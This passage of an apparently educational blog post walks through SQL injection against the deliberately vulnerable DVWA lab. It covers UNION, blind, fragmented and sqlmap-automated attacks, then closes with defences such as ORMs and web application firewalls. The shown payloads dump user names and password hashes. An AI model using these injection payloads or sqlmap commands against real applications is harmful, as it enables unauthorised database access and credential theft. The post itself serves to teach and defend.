&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f4dcc3b5aa765d61d8327deb882cf99&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;gordonb&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;e99a18c428cb38d5f260853678922e03&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1337&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;d3533d75ae2c3966d7e0d4fcc69216b&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pablo&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;d107d09f5bbe40cade3de5c71e9e9b7&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;smithy&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f4dcc3b5aa765d61d8327deb882cf99&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;And there it is: a list of all users and password existing. Surprisingly (or not), passwords are in clear text and not even hashed as they should be.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Security Level: Medium
&lt;/h3&gt;

&lt;p&gt;Raising the DVWA security level under "DVWA Security" -&amp;gt; choose &lt;code&gt;Medium&lt;/code&gt;.&lt;br&gt;
This time, instead of a plain form, we find a dropdown list with certain users to choose from. Checking the browser dev tools tells us the &lt;code&gt;POST&lt;/code&gt; request is being sent with two parameters: &lt;code&gt;id=1&amp;amp;Submit=Submit&lt;/code&gt;. Since there are more than a handful of headers we can use any kind of interceptor to catch the request and repeat it with different parameters. One favorite option is &lt;a href="https://portswigger.net/burp"&gt;BurpSuite&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quick setup to intercept with BurpSuite&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Set your requests to go through a proxy; with Firefox this is easy as going to &lt;code&gt;Preferences&lt;/code&gt; --&amp;gt; &lt;code&gt;Advanced&lt;/code&gt; --&amp;gt; &lt;code&gt;Network Settings&lt;/code&gt; --&amp;gt; &lt;code&gt;Manual Proxy Configuration&lt;/code&gt; and setting all protocols to go through &lt;code&gt;127.0.0.1:8080&lt;/code&gt; (BurpSuite's default)&lt;/li&gt;
&lt;li&gt;Go to BurpSuite &lt;code&gt;Proxy&lt;/code&gt; tab and set &lt;code&gt;intercept on&lt;/code&gt;. The next request coming out of Firefox should be stopped at BS where you can decide to stop, forward or drop it&lt;/li&gt;
&lt;li&gt;Go to DVWA SQLi page, choose an ID from the dropdown and click &lt;code&gt;Submit&lt;/code&gt;. The request should be waiting on BurpSuite, where we can then send it to &lt;code&gt;Repeater&lt;/code&gt; through the &lt;code&gt;Actions&lt;/code&gt; menu.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Poking at the server by playing with the &lt;code&gt;id&lt;/code&gt; of the &lt;code&gt;POST&lt;/code&gt; request reveals an escape character in the form of &lt;code&gt;\&lt;/code&gt;. So whenever a special char like &lt;code&gt;',#,-,$&lt;/code&gt; appears it's being escaped. However, not being able to use special chars, does not prevent a &lt;code&gt;UNION&lt;/code&gt; injection with the exact same syntax:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. No escaping at all. The backend code already wraps it and fetches everything within the command fully.&lt;/p&gt;




&lt;h3&gt;
  
  
  Security Level: High
&lt;/h3&gt;

&lt;p&gt;The last security level shows a link that pops up another window with a form that controls the request. Playing around with previous escapes shows that the code is "better" here but it still has a glitch. Comments are a good way to escape the rest of the line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sometable&lt;/span&gt; &lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Will&lt;/span&gt; &lt;span class="k"&gt;translate&lt;/span&gt; &lt;span class="k"&gt;into&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;SQL&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sometable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are different options for commenting SQL lines, common ones are &lt;code&gt;--&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;/*&lt;/code&gt; - multiline that ends with &lt;code&gt;*/&lt;/code&gt;.&lt;br&gt;
In the "real world" those are useful in describing code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="c1"&gt;-- this is the name&lt;/span&gt;
  &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="c1"&gt;-- users table&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;"DAN"&lt;/span&gt; &lt;span class="c1"&gt;-- Dan is the CEO&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When it comes to SQLi, comments help ignore the rest of the code that follows, so consider this PHP code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Check database&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT first_name, last_name FROM users
            WHERE user_id = '&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;' LIMIT 1;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query is &lt;code&gt;LIMIT&lt;/code&gt;ed to a single result making it hard to pull a large set of data, ignoring the &lt;code&gt;LIMIT&lt;/code&gt;ation can by pass it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="k"&gt;input&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Translates&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;first_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_name&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'1 union select user,password'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the query result is limited to one set, it will constantly return &lt;code&gt;first_name, last_name&lt;/code&gt;, ignoring the &lt;code&gt;UNION&lt;/code&gt;.&lt;br&gt;
Let's try again then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Limitation&lt;/span&gt; &lt;span class="n"&gt;ignored&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;first_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_name&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'1 union select user,password FROM users'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Blind SQLi
&lt;/h1&gt;

&lt;p&gt;A blind SQL injection is used when the application does not return the SQL error but is still vulnerable to the attack. This is virtually the same scenario as a normal SQL, but the attacker has to figure out if the vulnerability exists using a series of true / false tests. Another method is time-based. By sending &lt;code&gt;SLEEP&lt;/code&gt; within the query, based on the time it took for the response to appear, the attacker can tell whether an answer is positive or not.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Time-based blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic:&lt;br&gt;
If the first letter of the first database’s name is an ‘A’, wait for 10 seconds.&lt;br&gt;
If the first letter of the first database’s name is an ‘B’, wait for 10 seconds. etc.&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;br&gt;
- &lt;a href="https://owasp.org/www-community/attacks/Blind_SQL_Injection"&gt;Blind SQL Injection - OWASP&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let's test the DVWA blind SQLi module with the &lt;code&gt;low&lt;/code&gt; security level. With the simple input &lt;code&gt;1&lt;/code&gt; the system returns &lt;code&gt;User ID exists in the database&lt;/code&gt;. With bad input like &lt;code&gt;'&lt;/code&gt; the response is &lt;code&gt;404&lt;/code&gt; with a message &lt;code&gt;User ID is MISSING from the database.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The next step is playing around to see if a boolean attack is optional:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;Input&lt;/span&gt;
&lt;span class="s1"&gt;'1 AND 1='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;User&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;supposed&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;truthy&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;Input&lt;/span&gt;
&lt;span class="s1"&gt;'1 AND 1='&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;User&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="n"&gt;MISSING&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Good&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;It&lt;/span&gt; &lt;span class="n"&gt;seems&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="nb"&gt;boolean&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;based&lt;/span&gt; &lt;span class="n"&gt;blind&lt;/span&gt; &lt;span class="n"&gt;attack&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="k"&gt;valid&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From here on, it's a matter of separating known results into false/positive statements from which the attacker can derive answer. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="k"&gt;input&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' and (select user from users where user_id=1)='&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="s1"&gt;' and 1='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;However&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="n"&gt;successful&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;means&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' and (select user from users where user_id=1)='&lt;/span&gt;&lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="s1"&gt;' and 1='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Fragmented SQLi
&lt;/h1&gt;

&lt;p&gt;A lesser-known method, but nonetheless effective can be useful when certain characters like &lt;code&gt;'&lt;/code&gt; are escaped, but the user can control two different fields. The obvious example is a login page. When a string is escaped by the application for example with &lt;code&gt;\&lt;/code&gt;, the attacker may circumvent it by created his own escape like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;
&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;#&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="n"&gt;where&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'".$username."'&lt;/span&gt;
          &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'".$password."'&lt;/span&gt;&lt;span class="s2"&gt;";
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This translates to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt; or password='&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="s1"&gt;';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The backslash escapes the following single-quote, creating a situation where the application reads the username value like so: &lt;code&gt;'\' or password=' or 1 # '&lt;/code&gt;. The statement above will always return &lt;code&gt;true&lt;/code&gt;. The hash &lt;code&gt;#&lt;/code&gt; makes sure its following command section is ignored as a comment.&lt;/p&gt;




&lt;h1&gt;
  
  
  Automating things with sqlmap
&lt;/h1&gt;

&lt;p&gt;One has to get familiar with the different techniques to handle different situations. But, rewriting payloads and remembering all the options is hard if you're not an expert. Human errors and false-positive we may miss can also interfere. &lt;a href="http://sqlmap.org"&gt;Sqlmap&lt;/a&gt; can help.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sqlmap&lt;/code&gt; is a CLI tool that automates the scan and provides relevant information. If possible it can grab information from the DB like database names and even tables. It will also identity blind-SQLi and report optional techniques (boolean or time based).&lt;/p&gt;

&lt;p&gt;Here's a simple operation of it on DVWA blind SQLi level&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scanning the full form path with parameters&lt;/span&gt;
&lt;span class="c"&gt;# Note how cookies are also passed to the scanner for authentication&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:8000/vulnerabilities/sqli_blind/?id=1&amp;amp;Submit=Submit#"&lt;/span&gt;
      &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=abcd;security=low"&lt;/span&gt;
      &lt;span class="nt"&gt;--dbs&lt;/span&gt;

sqlmap resumed the following injection point&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; from stored session:
&lt;span class="nt"&gt;---&lt;/span&gt;
Parameter: &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;GET&lt;span class="o"&gt;)&lt;/span&gt;
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="s1"&gt;' AND 5756=5756 AND '&lt;/span&gt;XWif&lt;span class="s1"&gt;'='&lt;/span&gt;XWif&amp;amp;Submit&lt;span class="o"&gt;=&lt;/span&gt;Submit

    Type: time-based blind
    Title: MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.0.12 AND time-based blind &lt;span class="o"&gt;(&lt;/span&gt;query SLEEP&lt;span class="o"&gt;)&lt;/span&gt;
    Payload: &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="s1"&gt;' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF)
                   AND '&lt;/span&gt;lswI&lt;span class="s1"&gt;'='&lt;/span&gt;lswI&amp;amp;Submit&lt;span class="o"&gt;=&lt;/span&gt;Submit
&lt;span class="nt"&gt;---&lt;/span&gt;
available databases &lt;span class="o"&gt;[&lt;/span&gt;2]:
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; dvwa
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; information_schema
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scanner found both the vulnerability and the fact it has to be attacked blindly. It suggests payloads and presently available databases that can be used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Running the same scan with a -D for db name&lt;/span&gt;
&lt;span class="c"&gt;# and --tables to enumerate the dvwa db&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:8000/vulnerabilities/sqli_blind/?id=1&amp;amp;Submit=Submit#"&lt;/span&gt;
      &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=abcd;security=low"&lt;/span&gt;
      &lt;span class="nt"&gt;-D&lt;/span&gt; dvwa
      &lt;span class="nt"&gt;--tables&lt;/span&gt;

Database: dvwa
&lt;span class="o"&gt;[&lt;/span&gt;2 tables]
+-----------+
| guestbook |
| &lt;span class="nb"&gt;users&lt;/span&gt;     |
+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Defence
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;"ORM" - A common belief is, that a good way of dealing with SQLi is using an &lt;a href="https://en.wikipedia.org/wiki/Object-relational_mapping"&gt;ORM layer&lt;/a&gt;. Not only an ORM provides data structure management, but it also takes away the responsibility of building raw database queries. This is usually helpful; transferring the responsibility of making queries to more experienced hands make sense. But it should not be done blindly. While an ORM is usually a, it is &lt;strong&gt;not&lt;/strong&gt; an SQLi security solution. An ORM can easily turn in to a double-edged sword. If breached, the ORM may turn into a world scale SQL injection hole. ORM users must get familiar with injection methods and test their own applications.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;"I would say it is a baseline expectation for any ORM, yes. which is likely why it's not mentioned in docs -- it's assumed, so long as you use the ORM's core API or query builder.&lt;br&gt;
and that's where the caveat is... ORMs provide many ways to construct a database query, but they also give you the option/flexibility to write 'raw,' do-it-yourself queries as a string... or they allow you to write some part of a generated query as a raw string. obviously you want to avoid doing this, as it kinda defeats the purpose of using an ORM... but there is a case for it every now and again."&lt;br&gt;
- &lt;a href="https://github.com/typeorm/typeorm/issues/3696"&gt;TypeOrm Issue reply by @feather-hmalone&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;WAF&lt;/strong&gt; - A &lt;a href="https://en.wikipedia.org/wiki/Web_application_firewall"&gt;web application firewall&lt;/a&gt; can be a great help by filtering incoming suspicious requests such as those of an SQLi, or cross-site scripting payloads. These too, rely on the power of their rules and &lt;a href="https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF"&gt;can be bypassed&lt;/a&gt; if not implemented correctly.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Self-defence - Building things with best practice in mind is a good direction. It sounds obvious, but it really isn't. Best practice mentality is great but it doesn't mean that every responsibility can be offloaded to a different layer. When it comes to security, especially to a vector that's responsible for the bast majority of web data leaks, one should know how to self defend. Familiarizing oneself with the attacks and the tooling can make the difference of a sensitive information leak.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;I hope that by now you're more familiar with SQLi risks and mitigations. Having attack vectors in mind helps us developers and operations protect the systems under our responsibility.&lt;/p&gt;

&lt;p&gt;I'll be making more of these posts, mainly around OWASP's top 10 vulnerabilities, so if you feel this has been helpful, stick around for more and &lt;a href="https://twitter.com/omergsr"&gt;let me know&lt;/a&gt; if you have any questions or feedback at all.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>sql</category>
    </item>
    <item>
